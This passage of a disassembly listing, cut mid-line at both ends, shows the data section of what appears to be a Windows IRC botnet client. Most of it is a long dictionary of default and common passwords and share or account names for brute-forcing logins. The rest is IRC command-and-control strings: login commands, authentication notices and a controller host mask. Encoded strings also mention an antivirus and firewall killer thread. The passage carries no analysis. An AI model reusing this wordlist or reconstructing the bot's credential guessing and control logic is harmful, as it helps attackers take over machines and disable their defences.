'brutefor',0 ; DATA XREF: .nsp0:00429754o align 4 aBrute db 'brute',0 ; DATA XREF: .nsp0:00429750o align 4 aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0042974Co align 10h aBrothel db 'brothel',0 ; DATA XREF: .nsp0:00429748o aBroadway db 'broadway',0 ; DATA XREF: .nsp0:00429744o align 4 aBridget db 'bridget',0 ; DATA XREF: .nsp0:00429740o aBrian db 'brian',0 ; DATA XREF: .nsp0:0042973Co align 4 aBrenda db 'brenda',0 ; DATA XREF: .nsp0:00429738o align 4 aBreast db 'breast',0 ; DATA XREF: .nsp0:00429734o align 4 aBreak db 'break',0 ; DATA XREF: .nsp0:00429730o align 4 aBravo db 'bravo',0 ; DATA XREF: .nsp0:0042972Co align 4 aBrandy db 'brandy',0 ; DATA XREF: .nsp0:00429728o align 4 aBrandi db 'brandi',0 ; DATA XREF: .nsp0:00429724o align 4 aBradley db 'bradley',0 ; DATA XREF: .nsp0:00429720o aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0042971Co align 4 aBorn db 'born',0 ; DATA XREF: .nsp0:00429718o align 10h aBook db 'book',0 ; DATA XREF: .nsp0:00429714o align 4 aBoobs db 'boobs',0 ; DATA XREF: .nsp0:00429710o align 10h aBoob db 'boob',0 ; DATA XREF: .nsp0:0042970Co align 4 aBoner db 'boner',0 ; DATA XREF: .nsp0:00429708o align 10h aBomb db 'bomb',0 ; DATA XREF: .nsp0:00429704o align 4 aBoard db 'board',0 ; DATA XREF: .nsp0:00429700o align 10h aBlues db 'blues',0 ; DATA XREF: .nsp0:004296FCo align 4 aBlue db 'blue',0 ; DATA XREF: .nsp0:004296F8o align 10h aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:004296F4o aBlow db 'blow',0 ; DATA XREF: .nsp0:004296F0o align 10h aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:004296ECo align 4 aBlood db 'blood',0 ; DATA XREF: .nsp0:004296E8o align 4 aBlondie db 'blondie',0 ; DATA XREF: .nsp0:004296E4o aBlonde db 'blonde',0 ; DATA XREF: .nsp0:004296E0o align 4 aBlack db 'black',0 ; DATA XREF: .nsp0:004296DCo align 4 aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:004296D8o align 4 aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:004296D4o align 4 aBitch db 'bitch',0 ; DATA XREF: .nsp0:004296D0o align 4 aBishop db 'bishop',0 ; DATA XREF: .nsp0:004296CCo align 4 aBird db 'bird',0 ; DATA XREF: .nsp0:004296C8o align 4 aBios db 'bios',0 ; DATA XREF: .nsp0:004296C4o align 4 aBinary db 'binary',0 ; DATA XREF: .nsp0:004296C0o align 4 aBill db 'bill',0 ; DATA XREF: .nsp0:004296BCo align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:004296B8o aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:004296B4o align 10h aBible db 'bible',0 ; DATA XREF: .nsp0:004296B0o align 4 aBeverly db 'beverly',0 ; DATA XREF: .nsp0:004296ACo aBetty db 'betty',0 ; DATA XREF: .nsp0:004296A8o align 4 aBetsie db 'betsie',0 ; DATA XREF: .nsp0:004296A4o align 10h aBeth db 'beth',0 ; DATA XREF: .nsp0:004296A0o align 4 aBeta db 'beta',0 ; DATA XREF: .nsp0:0042969Co align 10h aBeryl db 'beryl',0 ; DATA XREF: .nsp0:00429698o align 4 aBerliner db 'berliner',0 ; DATA XREF: .nsp0:00429694o align 4 aBerlin db 'berlin',0 ; DATA XREF: .nsp0:00429690o align 4 aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0042968Co align 4 aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:00429688o aBenz db 'benz',0 ; DATA XREF: .nsp0:00429684o align 4 aBeloved db 'beloved',0 ; DATA XREF: .nsp0:00429680o aBell db 'bell',0 ; DATA XREF: .nsp0:0042967Co align 4 aBehead db 'behead',0 ; DATA XREF: .nsp0:00429678o align 10h aBegin db 'begin',0 ; DATA XREF: .nsp0:00429674o align 4 aBeethove db 'beethove',0 ; DATA XREF: .nsp0:00429670o align 4 aBecky db 'becky',0 ; DATA XREF: .nsp0:0042966Co align 4 aBeaver db 'beaver',0 ; DATA XREF: .nsp0:00429668o align 4 aBeauty db 'beauty',0 ; DATA XREF: .nsp0:00429664o align 4 aBeater db 'beater',0 ; DATA XREF: .nsp0:00429660o align 4 aBeast db 'beast',0 ; DATA XREF: .nsp0:0042965Co align 4 aBear db 'bear',0 ; DATA XREF: .nsp0:00429658o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:00429654o align 10h aBeach db 'beach',0 ; DATA XREF: .nsp0:00429650o align 4 aBatman db 'batman',0 ; DATA XREF: .nsp0:0042964Co align 10h aBatch db 'batch',0 ; DATA XREF: .nsp0:00429648o align 4 aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:00429644o aBass db 'bass',0 ; DATA XREF: .nsp0:00429640o align 4 aBasic db 'basic',0 ; DATA XREF: .nsp0:0042963Co align 10h aBaseball db 'baseball',0 ; DATA XREF: .nsp0:00429638o align 4 aBartman db 'bartman',0 ; DATA XREF: .nsp0:00429634o aBart db 'bart',0 ; DATA XREF: .nsp0:00429630o align 4 aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0042962Co align 4 aBarf db 'barf',0 ; DATA XREF: .nsp0:00429628o align 10h aBare db 'bare',0 ; DATA XREF: .nsp0:00429624o align 4 aBarber db 'barber',0 ; DATA XREF: .nsp0:00429620o align 10h aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0042961Co aBanks db 'banks',0 ; DATA XREF: .nsp0:00429618o align 10h aBank db 'bank',0 ; DATA XREF: .nsp0:00429614o align 4 aBandit db 'bandit',0 ; DATA XREF: .nsp0:00429610o align 10h aBananas db 'bananas',0 ; DATA XREF: .nsp0:0042960Co aBanana db 'banana',0 ; DATA XREF: .nsp0:00429608o align 10h aBall db 'ball',0 ; DATA XREF: .nsp0:00429604o align 4 aBailey db 'bailey',0 ; DATA XREF: .nsp0:00429600o align 10h aBadass db 'badass',0 ; DATA XREF: .nsp0:004295FCo align 4 aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:004295F8o align 4 aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:004295F4o aBaby db 'baby',0 ; DATA XREF: .nsp0:004295F0o align 4 aBabe db 'babe',0 ; DATA XREF: .nsp0:004295ECo align 4 aAzure db 'azure',0 ; DATA XREF: .nsp0:004295E8o align 4 aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:004295E4o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:004295E0o align 4 aAttack db 'attack',0 ; DATA XREF: .nsp0:004295DCo align 10h aAtom db 'atom',0 ; DATA XREF: .nsp0:004295D8o align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:004295D4o align 4 aAthena db 'athena',0 ; DATA XREF: .nsp0:004295D0o align 4 aAsshole db 'asshole',0 ; DATA XREF: .nsp0:004295CCo aAsian db 'asian',0 ; DATA XREF: .nsp0:004295C8o align 4 aArtist db 'artist',0 ; DATA XREF: .nsp0:004295C4o align 4 aArthur db 'arthur',0 ; DATA XREF: .nsp0:004295C0o align 4 aArrow db 'arrow',0 ; DATA XREF: .nsp0:004295BCo align 4 aArmy db 'army',0 ; DATA XREF: .nsp0:004295B8o align 4 aArlene db 'arlene',0 ; DATA XREF: .nsp0:004295B4o align 4 aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:004295B0o aAria db 'aria',0 ; DATA XREF: .nsp0:004295ACo align 4 aApril db 'april',0 ; DATA XREF: .nsp0:004295A8o align 4 aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:004295A4o align 4 aAnything db 'anything',0 ; DATA XREF: .nsp0:004295A0o align 4 aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0042959Co align 4 aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:00429598o align 4 aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:00429594o aAnswer db 'answer',0 ; DATA XREF: .nsp0:00429590o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0042958Co align 4 aAnon db 'anon',0 ; DATA XREF: .nsp0:00429588o align 4 aAnnette db 'annette',0 ; DATA XREF: .nsp0:00429584o aAnne db 'anne',0 ; DATA XREF: .nsp0:00429580o align 4 aAnna db 'anna',0 ; DATA XREF: .nsp0:0042957Co align 4 aAnita db 'anita',0 ; DATA XREF: .nsp0:00429578o align 4 aAnimals db 'animals',0 ; DATA XREF: .nsp0:00429574o aAnimal db 'animal',0 ; DATA XREF: .nsp0:00429570o align 4 aAngie db 'angie',0 ; DATA XREF: .nsp0:0042956Co align 4 aAngerine db 'angerine',0 ; DATA XREF: .nsp0:00429568o align 10h aAngela db 'angela',0 ; DATA XREF: .nsp0:00429564o align 4 aAnfo db 'anfo',0 ; DATA XREF: .nsp0:00429560o align 10h aAndy db 'andy',0 ; DATA XREF: .nsp0:0042955Co align 4 aAndromac db 'andromac',0 ; DATA XREF: .nsp0:00429558o align 4 aAndroid db 'android',0 ; DATA XREF: .nsp0:00429554o aAndrea db 'andrea',0 ; DATA XREF: .nsp0:00429550o align 4 aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0042954Co align 4 aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:00429548o aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:00429544o align 10h aAnalog db 'analog',0 ; DATA XREF: .nsp0:00429540o align 4 aAnal db 'anal',0 ; DATA XREF: .nsp0:0042953Co align 10h aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:00429538o align 4 aAmerica db 'america',0 ; DATA XREF: .nsp0:00429534o aAmber db 'amber',0 ; DATA XREF: .nsp0:00429530o align 4 aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0042952Co align 4 aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:00429528o aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:00429524o align 4 aAllow db 'allow',0 ; DATA XREF: .nsp0:00429520o align 10h aAllison db 'allison',0 ; DATA XREF: .nsp0:0042951Co aAlison db 'alison',0 ; DATA XREF: .nsp0:00429518o align 10h aAlisa db 'alisa',0 ; DATA XREF: .nsp0:00429514o align 4 aAlicia db 'alicia',0 ; DATA XREF: .nsp0:00429510o align 10h aAlice db 'alice',0 ; DATA XREF: .nsp0:0042950Co align 4 aAliases db 'aliases',0 ; DATA XREF: .nsp0:0040320Co ; .nsp0:00429508o aAlias db 'alias',0 ; DATA XREF: .nsp0:00429504o align 4 aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:00429500o aAlexande db 'alexande',0 ; DATA XREF: .nsp0:004294FCo align 4 aAlex db 'alex',0 ; DATA XREF: .nsp0:004294F8o align 4 aAlert db 'alert',0 ; DATA XREF: .nsp0:004294F4o align 4 aAlbert db 'albert',0 ; DATA XREF: .nsp0:004294F0o align 4 aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:004294ECo align 10h aAlbany db 'albany',0 ; DATA XREF: .nsp0:004294E8o align 4 aAlaska db 'alaska',0 ; DATA XREF: .nsp0:004294E4o align 10h aAirplane db 'airplane',0 ; DATA XREF: .nsp0:004294E0o align 4 aAids db 'aids',0 ; DATA XREF: .nsp0:004294DCo align 4 aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:004294D8o align 10h aAdult db 'adult',0 ; DATA XREF: .nsp0:004294D4o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:004294D0o align 4 aAdrian db 'adrian',0 ; DATA XREF: .nsp0:004294CCo align 4 aAdam db 'adam',0 ; DATA XREF: .nsp0:004294C8o align 4 aAction db 'action',0 ; DATA XREF: .nsp0:004062E9o ; .nsp0:004294C4o align 4 aAccount db 'account',0 ; DATA XREF: .nsp0:004294C0o aAccept db 'accept',0 ; DATA XREF: sub_409A6D+64Bo ; .nsp0:004294BCo align 4 aAcademic db 'academic',0 ; DATA XREF: .nsp0:004294B8o align 4 aAcademia db 'academia',0 ; DATA XREF: .nsp0:004294B4o align 4 a000000 db '000000',0 ; DATA XREF: .nsp0:004294B0o align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:004294ACo align 4 a0000 db '0000',0 ; DATA XREF: .nsp0:004294A8o align 4 a000 db '000',0 ; DATA XREF: .nsp0:004294A4o aTesting db 'testing',0 ; DATA XREF: .nsp0:004294A0o aDeath db 'death',0 ; DATA XREF: .nsp0:0042949Co align 10h a00 db '00',0 ; DATA XREF: .nsp0:00429498o align 4 a0_0: ; DATA XREF: sub_40C9E6+2CAo ; .nsp0:00429494o unicode 0, <0>,0 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:00429490o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0042948Co align 10h aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:00429488o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:00429484o align 10h aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:00429480o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0042947Co align 10h aXxx db 'xxx',0 ; DATA XREF: .nsp0:00429478o aXx db 'xx',0 ; DATA XREF: .nsp0:00429474o align 4 asc_42FB78: ; DATA XREF: .nsp0:00429470o ; .nsp0:0043FF24o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0042946Co aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:00429468o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:00429464o align 4 aMirc db 'mirc',0 ; DATA XREF: .nsp0:00405AD9o ; .nsp0:00429460o align 4 aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0042945Co align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:00429458o align 4 aScript db 'script',0 ; DATA XREF: .nsp0:00429454o align 4 aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:00429450o align 4 aHacker db 'hacker',0 ; DATA XREF: .nsp0:0042944Co align 4 aL337 db 'l337',0 ; DATA XREF: .nsp0:00429448o align 4 aL33t db 'l33t',0 ; DATA XREF: .nsp0:00429444o align 4 aLeet db 'leet',0 ; DATA XREF: .nsp0:00429440o align 4 aKiller db 'killer',0 ; DATA XREF: .nsp0:0042943Co align 4 a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:00429438o ; .nsp0:0042AF24o align 4 aW00t db 'w00t',0 ; DATA XREF: .nsp0:00429434o align 4 aHeaven db 'heaven',0 ; DATA XREF: .nsp0:00429430o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:0042942Co align 10h aSatanic db 'satanic',0 ; DATA XREF: .nsp0:00429428o aSatanik db 'satanik',0 ; DATA XREF: .nsp0:00429424o aSatan db 'satan',0 ; DATA XREF: .nsp0:00429420o align 4 aGobo db 'gobo',0 ; DATA XREF: .nsp0:0042941Co align 10h aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:00429418o aMatt db 'Matt',0 ; DATA XREF: .nsp0:00429414o align 10h aMat db 'Mat',0 ; DATA XREF: .nsp0:00429410o aPw db 'pw',0 ; DATA XREF: .nsp0:0042940Co align 4 aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:00429408o align 4 aMypass db 'mypass',0 ; DATA XREF: .nsp0:00429404o align 4 aPw123 db 'pw123',0 ; DATA XREF: .nsp0:00429400o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:004293FCo align 10h aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:004293F8o aMypc db 'mypc',0 ; DATA XREF: .nsp0:004293F4o align 10h aLove db 'love',0 ; DATA XREF: .nsp0:004293F0o align 4 aPwd db 'pwd',0 ; DATA XREF: .nsp0:004293ECo aLogin db 'login',0 ; DATA XREF: .nsp0:00402591o ; .nsp0:004293E8o align 4 aHome db 'home',0 ; DATA XREF: .nsp0:004293E4o align 4 aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:004293E0o ; .nsp0:0042B328o align 4 aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:004293DCo align 4 aQwer db 'qwer',0 ; DATA XREF: .nsp0:004293D8o ; .nsp0:0042B294o align 4 aSecret db 'secret',0 ; DATA XREF: .nsp0:004293D4o align 4 aAsdf db 'asdf',0 ; DATA XREF: .nsp0:004293D0o ; .nsp0:0042B340o align 4 aPc db 'pc',0 ; DATA XREF: .nsp0:004293CCo align 4 aWin db 'win',0 ; DATA XREF: .nsp0:004293C8o aTest123 db 'test123',0 ; DATA XREF: .nsp0:004293C4o aAbc db 'abc',0 ; DATA XREF: .nsp0:004293C0o aAaa db 'aaa',0 ; DATA XREF: .nsp0:004293BCo ; .nsp0:0042B268o aA_0: ; DATA XREF: .nsp0:00406300o ; .nsp0:004293B8o ... unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: .nsp0:004036A2o ; .nsp0:004293B4o align 4 aFucked db 'fucked',0 ; DATA XREF: .nsp0:004293B0o align 10h aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:004293ACo aIrule db 'irule',0 ; DATA XREF: .nsp0:004293A8o align 10h aOwned db 'owned',0 ; DATA XREF: .nsp0:004293A4o align 4 a0wned db '0wned',0 ; DATA XREF: .nsp0:004293A0o ; .nsp0:0042AF28o align 10h aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:0042939Co align 4 aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:00429398o align 4 aDevil db 'devil',0 ; DATA XREF: .nsp0:00429394o align 10h aNilez db 'Nilez',0 ; DATA XREF: .nsp0:00429390o align 4 aFoobar db 'foobar',0 ; DATA XREF: .nsp0:0042938Co align 10h aGod db 'god',0 ; DATA XREF: .nsp0:00429388o aSex_0 db 'sex',0 ; DATA XREF: .nsp0:00429384o aPat db 'pat',0 ; DATA XREF: .nsp0:00429380o aPatrick db 'patrick',0 ; DATA XREF: .nsp0:0042937Co aAlpha db 'alpha',0 ; DATA XREF: .nsp0:00429378o align 4 a007 db '007',0 ; DATA XREF: .nsp0:00429374o ; .nsp0:0042AF14o a123abc db '123abc',0 ; DATA XREF: .nsp0:00429370o ; .nsp0:0042B124o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0042936Co ; .nsp0:0042B130o align 4 a123123 db '123123',0 ; DATA XREF: .nsp0:00429368o ; .nsp0:0042B0D0o align 4 a121212 db '121212',0 ; DATA XREF: .nsp0:00429364o ; .nsp0:0042B0C8o align 4 a111111 db '111111',0 ; DATA XREF: .nsp0:00429360o ; .nsp0:0042AF40o align 4 a110 db '110',0 ; DATA XREF: .nsp0:0042935Co ; .nsp0:0042B094o a2600 db '2600',0 ; DATA XREF: .nsp0:00429358o ; .nsp0:0042B21Co align 4 a2003 db '2003',0 ; DATA XREF: sub_41B2E4+BAo ; .nsp0:00429354o ... align 10h a2002 db '2002',0 ; DATA XREF: .nsp0:00429350o ; .nsp0:0042B208o align 4 aXp_0 db 'xp',0 ; DATA XREF: .nsp0:0042934Co align 4 aEnable db 'enable',0 ; DATA XREF: .nsp0:00429348o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:00429344o aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:00429340o a123asd db '123asd',0 ; DATA XREF: .nsp0:0042933Co ; .nsp0:0042B128o align 4 aSuper db 'super',0 ; DATA XREF: .nsp0:00429338o align 4 aInternet db 'Internet',0 ; DATA XREF: .nsp0:00429334o align 4 a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0042932Co ; .nsp0:0042B12Co align 10h aSybase db 'sybase',0 ; DATA XREF: .nsp0:00429328o align 4 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:00429320o align 10h aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0042931Co align 4 aPasswd db 'passwd',0 ; DATA XREF: .nsp0:00429314o align 10h aPass_0 db 'pass',0 ; DATA XREF: .nsp0:00429310o align 4 a88888888 db '88888888',0 ; DATA XREF: .nsp0:0042930Co ; .nsp0:0042B060o align 4 a11111111 db '11111111',0 ; DATA XREF: .nsp0:00429308o ; .nsp0:0042AF48o align 10h a111 db '111',0 ; DATA XREF: .nsp0:00429304o ; .nsp0:0042AF34o a54321 db '54321',0 ; DATA XREF: .nsp0:00429300o ; .nsp0:0042B228o align 4 a654321 db '654321',0 ; DATA XREF: .nsp0:004292FCo ; .nsp0:0042B22Co align 4 a123456789 db '123456789',0 ; DATA XREF: .nsp0:004292F8o ; .nsp0:0042B0E8o align 10h a12345678 db '12345678',0 ; DATA XREF: .nsp0:004292F4o ; .nsp0:0042B0E4o align 4 a1234567 db '1234567',0 ; DATA XREF: .nsp0:004292F0o ; .nsp0:0042B0E0o a123456 db '123456',0 ; DATA XREF: .nsp0:004292ECo ; .nsp0:0042B0DCo align 4 a12345 db '12345',0 ; DATA XREF: .nsp0:004292E8o ; .nsp0:0042B0D8o align 4 a1234 db '1234',0 ; DATA XREF: .nsp0:004292E4o ; .nsp0:0042B0D4o align 4 a123 db '123',0 ; DATA XREF: .nsp0:004292E0o ; .nsp0:0042B0CCo a12 db '12',0 ; DATA XREF: .nsp0:004292DCo ; .nsp0:0042B0C0o align 4 a1: ; DATA XREF: .nsp0:004292D8o ; .nsp0:0042AF2Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:004292D4o aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:004292D0o align 4 aChangeme db 'changeme',0 ; DATA XREF: .nsp0:004292CCo align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:004292C8o align 10h aUnix db 'unix',0 ; DATA XREF: .nsp0:004292C4o align 4 aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:004292C0o align 10h aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:004292BCo align 4 aServer_1 db 'SERVER',0 ; DATA XREF: .nsp0:004292B8o ; .nsp0:0042B678o align 10h aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:004292B4o ; .nsp0:0042B674o align 4 aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:004292B0o ; .nsp0:0042B670o align 10h aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:004292A8o ; .nsp0:0042B668o align 4 aTest db 'TEST',0 ; DATA XREF: .nsp0:004292A4o ; .nsp0:0042B664o align 10h aEdu db 'edu',0 ; DATA XREF: .nsp0:004292A0o ; .nsp0:0042B660o aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0042929Co ; .nsp0:0042B65Co align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:00429298o ; .nsp0:0042B658o align 4 aDemo db 'DEMO',0 ; DATA XREF: .nsp0:00429294o ; .nsp0:0042B654o align 4 aFiles db 'FILES',0 ; DATA XREF: .nsp0:00429290o ; .nsp0:0042B650o align 4 aRead db 'READ',0 ; DATA XREF: .nsp0:0042928Co ; .nsp0:0042B64Co align 4 aBoth db 'BOTH',0 ; DATA XREF: .nsp0:00429288o ; .nsp0:0042B648o align 4 aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:00429284o ; .nsp0:0042B644o align 4 aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:00429280o ; .nsp0:0042B640o align 4 aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0042927Co ; .nsp0:0042B63Co align 4 aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:00429278o ; .nsp0:0042B638o align 4 aTemp db 'TEMP',0 ; DATA XREF: .nsp0:00429274o ; .nsp0:0042B634o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:00429270o ; .nsp0:0042B630o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0042926Co ; .nsp0:0042B62Co align 10h aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:00429264o ; .nsp0:0042B624o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:00429260o ; .nsp0:0042B620o align 10h aBla db 'bla',0 ; DATA XREF: .nsp0:0042925Co ; .nsp0:0042B61Co aFubar db 'fubar',0 ; DATA XREF: .nsp0:00429258o ; .nsp0:0042B618o align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0042924Co ; .nsp0:0042B60Co align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_40F168+262o ; .nsp0:00429240o ... align 4 aDb2 db 'db2',0 ; DATA XREF: .nsp0:0042923Co aOracle db 'oracle',0 ; DATA XREF: .nsp0:00429238o ; .nsp0:00429324o align 10h aDba db 'dba',0 ; DATA XREF: .nsp0:00429234o aDatabase db 'database',0 ; DATA XREF: .nsp0:00429230o ; .nsp0:00429318o align 10h aDefault db 'default',0 ; DATA XREF: .nsp0:0042922Co ; .nsp0:004299B8o aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:00429228o align 10h aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:00429224o align 4 aTeacher db 'teacher',0 ; DATA XREF: .nsp0:00429220o ; .nsp0:0042A94Co aStudent db 'student',0 ; DATA XREF: .nsp0:0042921Co ; .nsp0:0042A894o aOwner db 'owner',0 ; DATA XREF: .nsp0:00429218o align 4 aComputer db 'computer',0 ; DATA XREF: .nsp0:00429214o ; .nsp0:00429330o align 10h aRoot db 'root',0 ; DATA XREF: .nsp0:0040D849o ; .nsp0:00429210o ... align 4 aStaff db 'staff',0 ; DATA XREF: .nsp0:0042920Co align 10h aAdmin db 'admin',0 ; DATA XREF: .nsp0:0040D850o ; .nsp0:00429208o align 4 aAdmins db 'admins',0 ; DATA XREF: .nsp0:00429204o align 10h aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:00429200o aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:004291FCo align 4 aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:004291F8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .nsp0:004291F4o ; .nsp0:00429254o ... align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_41979A:loc_4198A5o ; .nsp0:004291F0o ... align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_42914Co align 4 a@k7o_net db '*@k7o.net',0 ; DATA XREF: .nsp0:off_429148o align 4 dd 234032Dh, 75636573h, 2036572h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h dd 234032Dh, 75636573h, 2036572h, 6552202Dh, 74736967h dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh dd 75636573h, 2036572h, 6146202Dh, 64656C69h, 206F7420h dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h dd 2036572h, 7953202Dh, 6D657473h, 63657320h, 20657275h dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h dd 63612072h, 65766974h, 2Eh, 234032Dh, 6E69616Dh, 202D0203h dd 20746F42h, 72617473h, 2E646574h, 0 dd 25207325h, 25222064h, 2273h dword_4301F0 dd 255C7325h, 73hdword_4301F8 dd 73257325h, 0 ; sub_41011E+4CAo ... unk_430200 db 2Dh ; - ; DATA XREF: sub_4018A1+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401A09+55o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401A09+28o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040995Co align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00409947o align 4 unk_430268 db 2Dh ; - ; DATA XREF: .nsp0:0040993Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_430288 db 2Dh ; - ; DATA XREF: .nsp0:0040991Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_4302A8 db 2Dh ; - ; DATA XREF: .nsp0:004098BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040989Co align 4 unk_4302FC db 2Dh ; - ; DATA XREF: .nsp0:0040984Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: .nsp0:00409840o ; .nsp0:004098B0o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: 